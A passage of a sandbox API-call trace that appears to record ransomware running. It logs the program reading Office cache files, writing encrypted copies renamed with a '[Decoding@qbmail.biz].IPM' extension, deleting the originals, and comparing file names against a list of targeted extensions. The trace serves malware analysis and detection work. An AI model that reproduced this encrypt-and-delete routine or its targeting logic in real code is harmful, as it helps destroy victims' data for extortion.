nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0072.918] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xee, lpOverlapped=0x0) returned 1 [0072.918] SetEndOfFile (hFile=0x1d8) returned 1 [0072.918] CloseHandle (hObject=0x1d8) returned 1 [0072.919] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0072.919] SetEndOfFile (hFile=0x1d0) returned 1 [0072.921] CloseHandle (hObject=0x1d0) returned 1 [0072.921] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0072.922] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0072.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.922] lstrlenW (lpString=".doc") returned 4 [0072.922] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.922] lstrlenW (lpString=".docx") returned 5 [0072.922] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0072.922] lstrlenW (lpString=".pdf") returned 4 [0072.922] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.923] lstrlenW (lpString=".xls") returned 4 [0072.923] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.923] lstrlenW (lpString=".xlsx") returned 5 [0072.923] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0072.923] lstrlenW (lpString=".ppt") returned 4 [0072.923] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.923] lstrlenW (lpString=".zip") returned 4 [0072.923] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.923] lstrlenW (lpString=".rar") returned 4 [0072.923] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.923] lstrlenW (lpString=".bz2") returned 4 [0072.923] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.923] lstrlenW (lpString=".7z") returned 3 [0072.923] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.923] lstrlenW (lpString=".dbf") returned 4 [0072.923] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.924] lstrlenW (lpString=".1cd") returned 4 [0072.924] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.924] lstrlenW (lpString=".jpg") returned 4 [0072.924] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.924] lstrlenW (lpString=".doc") returned 4 [0072.924] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.924] lstrlenW (lpString=".docx") returned 5 [0072.924] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0072.924] lstrlenW (lpString=".pdf") returned 4 [0072.924] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.924] lstrlenW (lpString=".xls") returned 4 [0072.924] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.924] lstrlenW (lpString=".xlsx") returned 5 [0072.924] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0072.924] lstrlenW (lpString=".ppt") returned 4 [0072.925] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.925] lstrlenW (lpString=".zip") returned 4 [0072.925] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.925] lstrlenW (lpString=".rar") returned 4 [0072.925] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.925] lstrlenW (lpString=".bz2") returned 4 [0072.925] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.925] lstrlenW (lpString=".7z") returned 3 [0072.925] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.926] lstrlenW (lpString=".dbf") returned 4 [0072.926] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.926] lstrlenW (lpString=".1cd") returned 4 [0072.926] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0072.926] lstrlenW (lpString=".jpg") returned 4 [0072.926] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.926] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.926] lstrlenW (lpString="Setup.xml") returned 9 [0072.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0072.927] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1452) returned 1 [0072.927] CloseHandle (hObject=0x1d0) returned 1 [0072.927] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0072.927] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0072.927] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0072.928] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0072.928] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0072.928] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0072.928] GetLastError () returned 0x0 [0072.928] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x5ac, lpOverlapped=0x0) returned 1 [0073.362] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0073.363] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0073.364] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.364] SetEndOfFile (hFile=0x1d8) returned 1 [0073.364] CloseHandle (hObject=0x1d8) returned 1 [0073.365] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.365] SetEndOfFile (hFile=0x1d0) returned 1 [0073.367] CloseHandle (hObject=0x1d0) returned 1 [0073.368] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.368] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0073.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.369] lstrlenW (lpString=".doc") returned 4 [0073.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.369] lstrlenW (lpString=".docx") returned 5 [0073.369] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0073.369] lstrlenW (lpString=".pdf") returned 4 [0073.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.369] lstrlenW (lpString=".xls") returned 4 [0073.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.369] lstrlenW (lpString=".xlsx") returned 5 [0073.369] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0073.369] lstrlenW (lpString=".ppt") returned 4 [0073.369] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.369] lstrlenW (lpString=".zip") returned 4 [0073.369] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.369] lstrlenW (lpString=".rar") returned 4 [0073.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.369] lstrlenW (lpString=".bz2") returned 4 [0073.369] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.370] lstrlenW (lpString=".7z") returned 3 [0073.370] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.370] lstrlenW (lpString=".dbf") returned 4 [0073.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.370] lstrlenW (lpString=".1cd") returned 4 [0073.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.370] lstrlenW (lpString=".jpg") returned 4 [0073.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.370] lstrlenW (lpString=".doc") returned 4 [0073.370] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.370] lstrlenW (lpString=".docx") returned 5 [0073.370] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0073.370] lstrlenW (lpString=".pdf") returned 4 [0073.371] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.371] lstrlenW (lpString=".xls") returned 4 [0073.371] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.371] lstrlenW (lpString=".xlsx") returned 5 [0073.371] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0073.371] lstrlenW (lpString=".ppt") returned 4 [0073.371] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.371] lstrlenW (lpString=".zip") returned 4 [0073.371] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.371] lstrlenW (lpString=".rar") returned 4 [0073.371] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.371] lstrlenW (lpString=".bz2") returned 4 [0073.371] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.371] lstrlenW (lpString=".7z") returned 3 [0073.371] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.371] lstrlenW (lpString=".dbf") returned 4 [0073.372] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.372] lstrlenW (lpString=".1cd") returned 4 [0073.372] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.372] lstrlenW (lpString=".jpg") returned 4 [0073.372] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.372] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0073.372] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0073.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0073.373] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=5557) returned 1 [0073.373] CloseHandle (hObject=0x1d0) returned 1 [0073.373] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0073.373] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.373] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0073.373] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.373] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.373] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0073.374] GetLastError () returned 0x0 [0073.374] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x15b5, lpOverlapped=0x0) returned 1 [0073.476] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0073.478] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0073.478] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xee, lpOverlapped=0x0) returned 1 [0073.478] SetEndOfFile (hFile=0x1d8) returned 1 [0073.478] CloseHandle (hObject=0x1d8) returned 1 [0073.480] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.480] SetEndOfFile (hFile=0x1d0) returned 1 [0073.482] CloseHandle (hObject=0x1d0) returned 1 [0073.482] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.482] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0074.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.018] lstrlenW (lpString=".doc") returned 4 [0074.018] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.018] lstrlenW (lpString=".docx") returned 5 [0074.018] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0074.018] lstrlenW (lpString=".pdf") returned 4 [0074.018] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.018] lstrlenW (lpString=".xls") returned 4 [0074.018] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.018] lstrlenW (lpString=".xlsx") returned 5 [0074.018] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0074.018] lstrlenW (lpString=".ppt") returned 4 [0074.018] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.019] lstrlenW (lpString=".zip") returned 4 [0074.019] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.019] lstrlenW (lpString=".rar") returned 4 [0074.019] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.019] lstrlenW (lpString=".bz2") returned 4 [0074.019] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.019] lstrlenW (lpString=".7z") returned 3 [0074.019] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.019] lstrlenW (lpString=".dbf") returned 4 [0074.019] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.019] lstrlenW (lpString=".1cd") returned 4 [0074.019] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.019] lstrlenW (lpString=".jpg") returned 4 [0074.019] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.020] lstrlenW (lpString=".doc") returned 4 [0074.020] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.020] lstrlenW (lpString=".docx") returned 5 [0074.020] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0074.020] lstrlenW (lpString=".pdf") returned 4 [0074.020] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.020] lstrlenW (lpString=".xls") returned 4 [0074.020] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.020] lstrlenW (lpString=".xlsx") returned 5 [0074.020] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0074.020] lstrlenW (lpString=".ppt") returned 4 [0074.020] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.020] lstrlenW (lpString=".zip") returned 4 [0074.021] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.021] lstrlenW (lpString=".rar") returned 4 [0074.021] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.021] lstrlenW (lpString=".bz2") returned 4 [0074.021] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.021] lstrlenW (lpString=".7z") returned 3 [0074.021] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.021] lstrlenW (lpString=".dbf") returned 4 [0074.021] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.021] lstrlenW (lpString=".1cd") returned 4 [0074.021] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0074.021] lstrlenW (lpString=".jpg") returned 4 [0074.022] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.022] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0074.022] lstrlenW (lpString="branding.xml") returned 12 [0074.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0074.025] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=596341) returned 1 [0074.025] CloseHandle (hObject=0x208) returned 1 [0074.025] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0074.025] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0074.025] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0074.025] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.025] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.026] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0074.026] GetLastError () returned 0x0 [0074.027] ReadFile (in: hFile=0x208, lpBuffer=0x3960020, 